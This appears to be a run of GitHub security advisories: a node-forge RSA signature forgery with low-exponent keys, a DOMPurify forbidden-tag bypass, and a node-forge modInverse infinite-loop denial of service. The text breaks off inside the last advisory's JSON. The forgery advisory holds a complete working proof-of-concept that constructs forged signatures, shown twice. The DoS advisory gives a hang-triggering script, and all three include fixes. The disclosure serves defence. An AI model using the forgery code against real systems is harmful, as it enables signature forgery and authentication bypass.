Vulnerability from github – Published: 2026-03-26 22:02 – Updated: 2026-03-27 21:50Summary
RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.
Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.
Impacted Deployments
Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.
Configuration assumptions:
- Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
- _parseAllDigestBytes: true (default setting).
Root Cause
In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.
Two issues are present with this logic:
- Strict DER byte-consumption (
_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it. _decodePkcs1_v1_5comments mention that PS < 8 bytes should be rejected, but does not implement this logic.
Reproduction Steps
- Use Node.js (tested with
v24.9.0) and clonedigitalbazaar/forgeat commit8e1d527fe8ec2670499068db783172d4fb9012e5. - Place and run the PoC script (
repro_min.js) withnode repro_min.jsin the same level as theforgefolder. - The script generates a fresh RSA keypair (
4096bits,e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction. - The script verifies both signatures with:
- forge verify (
_parseAllDigestBytes: true), and - Node/OpenSSL verify (
crypto.verifywithRSA_PKCS1_PADDING). - Confirm output includes:
control-forge-strict: truecontrol-node: trueforgery (forge library, strict): trueforgery (node/OpenSSL): false
Proof of Concept
Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false
repro_min.js
#!/usr/bin/env node
'use strict';
const crypto = require('crypto');
const forge = require('./forge/lib/index');
// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
// SEQUENCE { OID sha256, NULL },
// OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
'300d060960864801650304020105000420',
'hex'
);
const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
let h = n.toString(16);
if (h.length % 2) h = '0' + h;
const b = Buffer.from(h, 'hex');
return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
let lo = 0n;
let hi = 1n;
while (hi * hi * hi <= n) hi <<= 1n;
while (lo + 1n < hi) {
const mid = (lo + hi) >> 1n;
if (mid * mid * mid <= n) lo = mid;
else hi = mid;
}
return lo;
}
const cbrtCeil = n => {
const f = cbrtFloor(n);
return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
if (len < 0x80) return Buffer.from([len]);
if (len <= 0xff) return Buffer.from([0x81, len]);
return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}
function forgeStrictVerify(publicPem, msg, sig) {
const key = forge.pki.publicKeyFromPem(publicPem);
const md = forge.md.sha256.create();
md.update(msg.toString('utf8'), 'utf8');
try {
// verify(digestBytes, signatureBytes, scheme, options):
// - digestBytes: raw SHA-256 digest bytes for `msg`
// - signatureBytes: binary-string representation of the candidate signature
// - scheme: undefined => default RSASSA-PKCS1-v1_5
// - options._parseAllDigestBytes: require DER parser to consume all bytes
// (this is forge's default for verify; set explicitly here for clarity)
return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
} catch (err) {
return { ok: false, err: err.message };
}
}
function main() {
const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
modulusLength: 4096,
publicExponent: 3,
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
});
const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
const nBytes = Buffer.from(jwk.n, 'base64url');
const n = toBig(nBytes);
const e = toBig(Buffer.from(jwk.e, 'base64url'));
if (e !== 3n) throw new Error('expected e=3');
const msg = Buffer.from('forged-message-0', 'utf8');
const digest = crypto.createHash('sha256').update(msg).digest();
const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);
// Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
const k = nBytes.length;
// ffCount can be set to any value at or below 111 and produce a valid signature.
// ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
// However, current versions of node forge do not check for this.
// Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
const ffCount = 0;
// `garbageLen` affects DER length field sizes, which in turn affect how
// many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
// A small cap (8) is enough here: DER length-size transitions are discrete
// and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
let garbageLen = 0;
for (let i = 0; i < 8; i += 1) {
const gLenEnc = derLen(garbageLen).length;
const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
const seqLenEnc = derLen(seqLen).length;
const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
const next = k - fixed;
if (next === garbageLen) break;
garbageLen = next;
}
const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
const prefix = Buffer.concat([
Buffer.from([0x00, 0x01]),
Buffer.alloc(ffCount, 0xff),
Buffer.from([0x00]),
Buffer.from([0x30]), derLen(seqLen),
algAndDigest,
Buffer.from([0x04]), derLen(garbageLen)
]);
// Build the numeric interval of all EM values that start with `prefix`:
// - `low` = prefix || 00..00
// - `high` = one past (prefix || ff..ff)
// Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
const suffixLen = k - prefix.length;
const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
const high = low + (1n << BigInt(8 * suffixLen));
const s = cbrtCeil(low);
if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');
const sig = toBuf(s, k);
const controlMsg = Buffer.from('control-message', 'utf8');
const controlSig = crypto.sign('sha256', controlMsg, {
key: privateKey,
padding: crypto.constants.RSA_PKCS1_PADDING
});
// forge verification calls (library under test)
const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
const forgedForge = forgeStrictVerify(publicKey, msg, sig);
// Node.js verification calls (OpenSSL-backed reference behavior)
const controlNode = crypto.verify('sha256', controlMsg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, controlSig);
const forgedNode = crypto.verify('sha256', msg, {
key: publicKey,
padding: crypto.constants.RSA_PKCS1_PADDING
}, sig);
console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
console.log('control-node:', controlNode);
console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
console.log('forgery (node/OpenSSL):', forgedNode);
}
main();
Suggested Patch
- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (
PS >= 8) in_decodePkcs1_v1_5before accepting the block. - Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).
Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
error.errors = errors;
throw error;
}
+
+ if(obj.value.length != 2) {
+ var error = new Error(
+ 'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+ 'a valid RSASSA-PKCS1-v1_5 package.');
+ error.errors = errors;
+ throw error;
+ }
// check hash algorithm identifier
// see PKCS1-v1-5DigestAlgorithms in RFC 8017
// FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
}
++padNum;
}
+
+ if (padNum < 8) {
+ throw new Error('Encryption block is invalid.');
+ }
} else if(bt === 0x02) {
// look for 0x00 byte
padNum = 0;
Resources
- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
-
This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
lib/rsa.jskey.verify(...)at lines ~1139-1223.lib/rsa.js_decodePkcs1_v1_5(...)at lines ~1632-1695.
Credit
This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33894"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:02:35Z",
"nvd_published_at": "2026-03-27T21:17:25Z",
"severity": "HIGH"
},
"details": "## Summary\nRSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing \u201cgarbage\u201d bytes within the ASN structure in order to construct a signature that passes verification, enabling [Bleichenbacher style forgery](https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE/). This issue is similar to [CVE-2022-24771](https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765), but adds bytes in an addition field within the ASN structure, rather than outside of it. \n\nAdditionally, forge does not validate that signatures include a minimum of 8 bytes of padding as [defined by the specification](https://datatracker.ietf.org/doc/html/rfc2313#section-8), providing attackers additional space to construct Bleichenbacher forgeries. \n\n## Impacted Deployments\n**Tested commit:** `8e1d527fe8ec2670499068db783172d4fb9012e5`\n**Affected versions:** tested on v1.3.3 (latest release) and recent prior versions.\n\n**Configuration assumptions:**\n- Invoke key.verify with defaults (default `scheme` uses RSASSA-PKCS1-v1_5).\n- `_parseAllDigestBytes: true` (default setting).\n\n## Root Cause\n\nIn `lib/rsa.js`, `key.verify(...)`, forge decrypts the signature block, decodes PKCS#1 v1.5 padding (`_decodePkcs1_v1_5`), parses ASN.1, and compares `capture.digest` to the provided digest.\n\nTwo issues are present with this logic:\n\n1. Strict DER byte-consumption (`_parseAllDigestBytes`) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.\n2. `_decodePkcs1_v1_5` comments mention that PS \u003c 8 bytes should be rejected, but does not implement this logic.\n\n## Reproduction Steps\n1. Use Node.js (tested with `v24.9.0`) and clone `digitalbazaar/forge` at commit `8e1d527fe8ec2670499068db783172d4fb9012e5`.\n4. Place and run the PoC script (`repro_min.js`) with `node repro_min.js` in the same level as the `forge` folder.\n5. The script generates a fresh RSA keypair (`4096` bits, `e=3`), creates a normal control signature, then computes a forged candidate using cube-root interval construction.\n6. The script verifies both signatures with:\n - forge verify (`_parseAllDigestBytes: true`), and\n - Node/OpenSSL verify (`crypto.verify` with `RSA_PKCS1_PADDING`).\n7. Confirm output includes:\n - `control-forge-strict: true`\n - `control-node: true`\n - `forgery (forge library, strict): true`\n - `forgery (node/OpenSSL): false`\n\n## Proof of Concept\n\n**Overview:**\n- Demonstrates a valid control signature and a forged signature in one run.\n- Uses strict forge parsing mode explicitly (`_parseAllDigestBytes: true`, also forge default).\n- Uses Node/OpenSSL as an differential verification baseline.\n- Observed output on tested commit:\n\n```text\ncontrol-forge-strict: true\ncontrol-node: true\nforgery (forge library, strict): true\nforgery (node/OpenSSL): false\n```\n\n\u003cdetails\u003e\u003csummary\u003erepro_min.js\u003c/summary\u003e\n\n```javascript\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst crypto = require(\u0027crypto\u0027);\nconst forge = require(\u0027./forge/lib/index\u0027);\n\n// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:\n// SEQUENCE {\n// SEQUENCE { OID sha256, NULL },\n// OCTET STRING \u003c32-byte digest\u003e\n// }\n// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20\nconst DIGESTINFO_SHA256_PREFIX = Buffer.from(\n \u0027300d060960864801650304020105000420\u0027,\n \u0027hex\u0027\n);\n\nconst toBig = b =\u003e BigInt(\u00270x\u0027 + (b.toString(\u0027hex\u0027) || \u00270\u0027));\nfunction toBuf(n, len) {\n let h = n.toString(16);\n if (h.length % 2) h = \u00270\u0027 + h;\n const b = Buffer.from(h, \u0027hex\u0027);\n return b.length \u003c len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;\n}\nfunction cbrtFloor(n) {\n let lo = 0n;\n let hi = 1n;\n while (hi * hi * hi \u003c= n) hi \u003c\u003c= 1n;\n while (lo + 1n \u003c hi) {\n const mid = (lo + hi) \u003e\u003e 1n;\n if (mid * mid * mid \u003c= n) lo = mid;\n else hi = mid;\n }\n return lo;\n}\nconst cbrtCeil = n =\u003e {\n const f = cbrtFloor(n);\n return f * f * f === n ? f : f + 1n;\n};\nfunction derLen(len) {\n if (len \u003c 0x80) return Buffer.from([len]);\n if (len \u003c= 0xff) return Buffer.from([0x81, len]);\n return Buffer.from([0x82, (len \u003e\u003e 8) \u0026 0xff, len \u0026 0xff]);\n}\n\nfunction forgeStrictVerify(publicPem, msg, sig) {\n const key = forge.pki.publicKeyFromPem(publicPem);\n const md = forge.md.sha256.create();\n md.update(msg.toString(\u0027utf8\u0027), \u0027utf8\u0027);\n try {\n // verify(digestBytes, signatureBytes, scheme, options):\n // - digestBytes: raw SHA-256 digest bytes for `msg`\n // - signatureBytes: binary-string representation of the candidate signature\n // - scheme: undefined =\u003e default RSASSA-PKCS1-v1_5\n // - options._parseAllDigestBytes: require DER parser to consume all bytes\n // (this is forge\u0027s default for verify; set explicitly here for clarity)\n return { ok: key.verify(md.digest().getBytes(), sig.toString(\u0027binary\u0027), undefined, { _parseAllDigestBytes: true }) };\n } catch (err) {\n return { ok: false, err: err.message };\n }\n}\n\nfunction main() {\n const { privateKey, publicKey } = crypto.generateKeyPairSync(\u0027rsa\u0027, {\n modulusLength: 4096,\n publicExponent: 3,\n privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 }\n });\n\n const jwk = crypto.createPublicKey(publicKey).export({ format: \u0027jwk\u0027 });\n const nBytes = Buffer.from(jwk.n, \u0027base64url\u0027);\n const n = toBig(nBytes);\n const e = toBig(Buffer.from(jwk.e, \u0027base64url\u0027));\n if (e !== 3n) throw new Error(\u0027expected e=3\u0027);\n\n const msg = Buffer.from(\u0027forged-message-0\u0027, \u0027utf8\u0027);\n const digest = crypto.createHash(\u0027sha256\u0027).update(msg).digest();\n const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);\n\n // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.\n const k = nBytes.length;\n // ffCount can be set to any value at or below 111 and produce a valid signature.\n // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.\n // However, current versions of node forge do not check for this.\n // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.\n const ffCount = 0; \n // `garbageLen` affects DER length field sizes, which in turn affect how\n // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.\n // A small cap (8) is enough here: DER length-size transitions are discrete\n // and few (\u003c128, \u003c=255, \u003c=65535, ...), so this stabilizes quickly.\n let garbageLen = 0;\n for (let i = 0; i \u003c 8; i += 1) {\n const gLenEnc = derLen(garbageLen).length;\n const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;\n const seqLenEnc = derLen(seqLen).length;\n const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;\n const next = k - fixed;\n if (next === garbageLen) break;\n garbageLen = next;\n }\n const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;\n const prefix = Buffer.concat([\n Buffer.from([0x00, 0x01]),\n Buffer.alloc(ffCount, 0xff),\n Buffer.from([0x00]),\n Buffer.from([0x30]), derLen(seqLen),\n algAndDigest,\n Buffer.from([0x04]), derLen(garbageLen)\n ]);\n\n // Build the numeric interval of all EM values that start with `prefix`:\n // - `low` = prefix || 00..00\n // - `high` = one past (prefix || ff..ff)\n // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.\n const suffixLen = k - prefix.length;\n const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));\n const high = low + (1n \u003c\u003c BigInt(8 * suffixLen));\n const s = cbrtCeil(low);\n if (s \u003e cbrtFloor(high - 1n) || s \u003e= n) throw new Error(\u0027no candidate in interval\u0027);\n\n const sig = toBuf(s, k);\n\n const controlMsg = Buffer.from(\u0027control-message\u0027, \u0027utf8\u0027);\n const controlSig = crypto.sign(\u0027sha256\u0027, controlMsg, {\n key: privateKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n });\n\n // forge verification calls (library under test)\n const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);\n const forgedForge = forgeStrictVerify(publicKey, msg, sig);\n\n // Node.js verification calls (OpenSSL-backed reference behavior)\n const controlNode = crypto.verify(\u0027sha256\u0027, controlMsg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, controlSig);\n const forgedNode = crypto.verify(\u0027sha256\u0027, msg, {\n key: publicKey,\n padding: crypto.constants.RSA_PKCS1_PADDING\n }, sig);\n\n console.log(\u0027control-forge-strict:\u0027, controlForge.ok, controlForge.err || \u0027\u0027);\n console.log(\u0027control-node:\u0027, controlNode);\n console.log(\u0027forgery (forge library, strict):\u0027, forgedForge.ok, forgedForge.err || \u0027\u0027);\n console.log(\u0027forgery (node/OpenSSL):\u0027, forgedNode);\n}\n\nmain();\n```\n\u003c/details\u003e\n\n## Suggested Patch\n- Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (`PS \u003e= 8`) in `_decodePkcs1_v1_5` before accepting the block.\n- Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).\n\nHere is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:\n\n```diff\nindex b207a63..ec8a9c1 100644\n--- a/lib/rsa.js\n+++ b/lib/rsa.js\n@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {\n error.errors = errors;\n throw error;\n }\n+\n+ if(obj.value.length != 2) {\n+ var error = new Error(\n+ \u0027DigestInfo ASN.1 object must contain exactly 2 fields for \u0027 +\n+ \u0027a valid RSASSA-PKCS1-v1_5 package.\u0027);\n+ error.errors = errors;\n+ throw error;\n+ }\n // check hash algorithm identifier\n // see PKCS1-v1-5DigestAlgorithms in RFC 8017\n // FIXME: add support to validator for strict value choices\n@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {\n }\n ++padNum;\n }\n+\n+ if (padNum \u003c 8) {\n+ throw new Error(\u0027Encryption block is invalid.\u0027);\n+ }\n } else if(bt === 0x02) {\n // look for 0x00 byte\n padNum = 0;\n```\n## Resources\n- RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8\n - \u003e This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition. \n- RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html\n- `lib/rsa.js` `key.verify(...)` at lines ~1139-1223.\n- `lib/rsa.js` `_decodePkcs1_v1_5(...)` at lines ~1632-1695.\n\n## Credit\n\nThis vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.",
"id": "GHSA-ppp5-5v6c-4jwp",
"modified": "2026-03-27T21:50:55Z",
"published": "2026-03-26T22:02:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-cfm4-qjh2-4765"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33894"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc2313#section-8"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
},
{
"type": "WEB",
"url": "https://mailarchive.ietf.org/arch/msg/openpgp/5rnE9ZRN1AokBVj3VqblGlP63QE"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc8017.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Forge has signature forgery in RSA-PKCS due to ASN.1 extra field "
}
GHSA-39Q2-94RC-95CP
Vulnerability from github – Published: 2026-04-16 00:46 – Updated: 2026-04-16 00:46Summary
In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.
The condition:
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.
Inconsistency
This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:
if (FORBID_ATTR[lcName]) { continue; }
For tags, FORBID should also take precedence over ADD.
Impact
Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.
Suggested Fix
Check FORBID_TAGS before tagCheck:
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
Affected Version
v3.3.3 (commit 883ac15)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.3.3"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-783"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T00:46:35Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nIn `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via `EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to short-circuit evaluation.\n\nThe condition:\n```\n!(tagCheck(tagName)) \u0026\u0026 (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])\n```\nWhen `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept \u2014 `FORBID_TAGS[tagName]` is never evaluated.\n\n## Inconsistency\nThis contradicts the attribute-side pattern at line 1214 where `FORBID_ATTR` explicitly wins first:\n```\nif (FORBID_ATTR[lcName]) { continue; }\n```\nFor tags, FORBID should also take precedence over ADD.\n\n## Impact\nApplications using both `ADD_TAGS` as a function and `FORBID_TAGS` simultaneously get unexpected behavior \u2014 forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.\n\n## Suggested Fix\nCheck `FORBID_TAGS` before `tagCheck`:\n```\nif (FORBID_TAGS[tagName]) { /* remove */ }\nelse if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }\n```\n\n## Affected Version\nv3.3.3 (commit 883ac15)",
"id": "GHSA-39q2-94rc-95cp",
"modified": "2026-04-16T00:46:35Z",
"published": "2026-04-16T00:46:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify\u0027s ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation"
}
GHSA-5M6Q-G25R-MVWX
Vulnerability from github – Published: 2026-03-26 21:57 – Updated: 2026-03-27 21:50Summary
A Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU. Affected Package
Package name: node-forge (npm: node-forge) Repository: https://github.com/digitalbazaar/forge Affected versions: All versions (including latest) Affected file: lib/jsbn.js, function bnModInverse() Root cause component: Bundled copy of the jsbn (JavaScript Big Number) library
Vulnerability Details
Type: Denial of Service (DoS) CWE: CWE-835 (Loop with Unreachable Exit Condition) Attack vector: Network (if the application processes untrusted input that reaches modInverse) Privileges required: None User interaction: None Impact: Availability (process hangs indefinitely) Suggested CVSS v3.1 score: 5.3–7.5 (depending on the context of usage)
Root Cause Analysis
The BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m. Mathematically, the modular inverse of 0 does not exist — gcd(0, m) = m ≠ 1 for any m > 1. However, the implementation does not check whether the input value is zero before entering the algorithm's main loop. When this equals 0, the algorithm's loop condition is never satisfied for termination, resulting in an infinite loop. The relevant code path in lib/jsbn.js:
javascriptfunction bnModInverse(m) {
// ... setup ...
// No check for this == 0
// Enters Extended Euclidean Algorithm loop that never terminates when this == 0
}
Attack Scenario
Any application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:
DSA/ECDSA signature verification — A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang. Custom RSA or Diffie-Hellman implementations — Applications performing modular arithmetic with user-supplied parameters. Any cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().
A single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.
Proof of Concept
Environment Setup
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
Reproduction (poc.js) A single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.
mkdir forge-poc && cd forge-poc
npm init -y
npm install node-forge
# Save the script below as poc.js, then run:
node poc.js
'use strict';
const { spawnSync } = require('child_process');
const childCode = `
const forge = require('node-forge');
// jsbn may not be auto-loaded; try explicit require if needed
if (!forge.jsbn) {
try { require('node-forge/lib/jsbn'); } catch(e) {}
}
if (!forge.jsbn || !forge.jsbn.BigInteger) {
console.error('ERROR: forge.jsbn.BigInteger not available');
process.exit(2);
}
const BigInteger = forge.jsbn.BigInteger;
const zero = new BigInteger('0', 10);
const mod = new BigInteger('3', 10);
// This call should throw or return 0, but instead loops forever
const inv = zero.modInverse(mod);
console.log('returned: ' + inv.toString());
`;
console.log('[*] Testing: BigInteger(0).modInverse(3)');
console.log('[*] Expected: throw an error or return quickly');
console.log('[*] Spawning child process with 5s timeout...');
console.log();
const result = spawnSync(process.execPath, ['-e', childCode], {
encoding: 'utf8',
timeout: 5000,
});
if (result.error && result.error.code === 'ETIMEDOUT') {
console.log('[VULNERABLE] Child process timed out after 5s');
console.log(' -> modInverse(0, 3) entered an infinite loop (DoS confirmed)');
process.exit(0);
}
if (result.status === 2) {
console.log('[ERROR] Could not access BigInteger:', result.stderr.trim());
console.log(' -> Check your node-forge installation');
process.exit(1);
}
if (result.status === 0) {
console.log('[NOT VULNERABLE] modInverse returned:', result.stdout.trim());
process.exit(1);
}
console.log('[NOT VULNERABLE] Child exited with error (status ' + result.status + ')');
if (result.stderr) console.log(' stderr:', result.stderr.trim());
process.exit(1);
Expected Output
[*] Testing: BigInteger(0).modInverse(3)
[*] Expected: throw an error or return quickly
[*] Spawning child process with 5s timeout...
[VULNERABLE] Child process timed out after 5s
-> modInverse(0, 3) entered an infinite loop (DoS confirmed)
Verified On
node-forge v1.3.1 (latest at time of writing) Node.js v18.x / v20.x / v22.x macOS / Linux / Windows
Impact
Availability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests. Scope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.
Suggested Fix
Add a zero-value check at the entry of bnModInverse() in lib/jsbn.js:
function bnModInverse(m) {
var ac = m.isEven();
// Add this check:
if (this.signum() == 0) {
throw new Error('BigInteger has no modular inverse: input is zero');
}
// ... rest of the existing implementation ...
}
Alternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java's BigInteger.modInverse() throws ArithmeticException).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "node-forge"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33891"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
